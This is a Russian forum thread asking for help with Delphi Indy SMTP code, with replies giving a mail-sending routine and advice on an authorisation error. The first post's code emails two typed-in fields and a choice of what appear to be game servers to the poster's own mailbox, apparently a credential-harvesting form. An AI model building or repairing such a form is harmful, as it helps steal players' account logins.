Помогите с компонентами Indy

  • Автор темы Anatrop
  • Дата начала
A

Anatrop

#1
скопировал код полностью с одного форума , ввел свои данные и добавил пару строк которые будут отправляться на мой Ящик, но работать не хочет нивкакую, чу делать?, выдает странную ошибку
через некоторое время после тыкания кнопки, и главно не чего не отправляет

Код:
procedure TForm1.Button1Click(Sender: TObject);
Var
M: TIdMessage;
Begin
Try
M:=TIdMessage.Create(Form1);
M.Body.Add(edit1.Text);
M.Body.Add( edit2.Text);
If RadioButton1.Checked then
M.Body.Add('AxesasPW');
If RadioButton2.Checked then					 
M.Body.Add('Diamond');
If RadioButton3.Checked then
M.Body.Add('Lafnian');
M.From.Text:='xxx@mail.ru>'; //ТУТ Я ВВОЖУ МЭЙЛ ЯЩИКА С КОТОРОГО БУДЕТ ОТПРАВЛЯТЬСЯ
M.Recipients.Add;
M.Recipients.Items[0].Text:='<YYY@mail.ru>'; //Тут свой Мэйл, на который должно прийти письмо с Инфой
M.Subject:='AxesasPW'; //Заголовок ПИСЬМА
IdSMTP1.AuthenticationType:=AtLogin;
IdSMTP1.Host:='smtp.mail.ru'
IdSMTP1.Username:='xxx@mail.ru'; //ТУТ Я ВВОЖУ МЭЙЛ ЯЩИКА С КОТОРОГО БУДЕТ ОТПРАВЛЯТЬСЯ
IdSMTP1.Password:='xxx'; //ТУТ Я ВВОЖУ ПАРОЛЬ ОТ ЯЩИКА С КОТОРОГО БУДЕТ ОТПРАВЛЯТЬСЯ
IdSMTP1.Connect();
If IdSMTP1.Connected Then //<==============эту строку выделяет после вылетания ошибки
Begin
IdSMTP1.Send(M);
End;
IdSMTP1.Disconnect;
Except
End;
 

VahaC

Well-known member
10.01.2007
116
0
#2
вот выдрал из своего проекта
Код:
procedure TForm1.sendBClick(Sender: TObject);
var
// IdAttachment1 : TIdAttachmentFile;
attachs : array of TIdAttachmentFile;
i : integer;
begin
if sendB.Tag = 0 then
begin
// sendB.Tag := 1;
// sendB.Caption := 'Отменить';

SMTP.Host := smtpE.Text;
SMTP.ConnectTimeout := 15000;
SMTP.ReadTimeout := 15000;
SMTP.Port := StrToInt(portE.Text);
SMTP.Username := LoginE.Text;
SMTP.Password := PaswordE.Text;

SMTP.MailAgent := 'VahaC Mail Agent';
SMTP.AuthType := TIdSMTPAuthenticationType.satDefault;

IdMessage.Body.Clear;
IdMessage.MessageParts.Clear;

IdMessage.CharSet := 'UTF-8';
IdMessage.ContentTransferEncoding := '8bit';
// IdMessage.ContentType := 'text/plain'; // Письмо в текстовом виде
IdMessage.Subject := AnsiToUTF8(subjectE.Text); // Тема письма
IdMessage.Recipients.EMailAddresses := sendtoE.Text; // EMail- Кому
IdMessage.From.Name := AnsiToUTF8(from_nameE.Text); // От кого - будет в списке писем "от кого"
IdMessage.From.Address := from_emailE.Text; // EMail-От кого;
for i:=0 to messageM.Lines.Count - 1 do
IdMessage.Body.Add(AnsiToUTF8(messageM.Lines.Strings[i]));

// присоединяем файл
// IdAttachment1 := TIdAttachmentFile.Create(IdMessage.MessageParts,'d:\pack_укр.zip');
// IdAttachment1.FileName := AnsiToUTF8('pack_укр.zip');

// присоединяем файлы IdMessage.MessageParts.Clear;
if Length(attachs) > 0 then
for I := 0 to Length(attachs) do
attachs[i].Free;
SetLength(attachs, 0);
for I := 0 to filesList.Count - 1 do
if FileExists(filesList.Strings[i]) then
begin
SetLength(attachs, Length(attachs) + 1);
attachs[Length(attachs) - 1] := TIdAttachmentFile.Create(IdMessage.MessageParts,filesList.Strings[i]);
attachs[Length(attachs) - 1].FileName := AnsiToUTF8(filesList.Strings[i]);
end;
// IdAttachment1.ContentType := 'Content-Type: text/plain; charset="UTF-8"';

try
SMTP.Connect;
try
SMTP.Send(IdMessage);
except on E:Exception do
ShowMessage('ERROR: ' + E.Message);
end;
finally
if SMTP.Connected then
SMTP.Disconnect;
if Length(attachs) > 0 then
for I := 0 to Length(attachs) do
attachs[i].Free;
//	IdAttachment1.Free;
end;
end
else
begin
if SMTP.Connected then
SMTP.Disconnect;
if Length(attachs) > 0 then
for I := 0 to Length(attachs) do
attachs[i].Free;
//	if Assigned(IdAttachment1) then
//	 IdAttachment1.Free;
end;

end;
 
C

chirs

#3
По-моему в сообщении об ошибке говорится о том, что у тебя программа не может авторизоваться на почтовом сервере, в данном случае на smtp.mail.ru. Возможно, что в IdSMTP1.Username:='xxx@mail.ru' нужно писать только имя пользователя (все, что до @), а не полностью весь эл.адрес.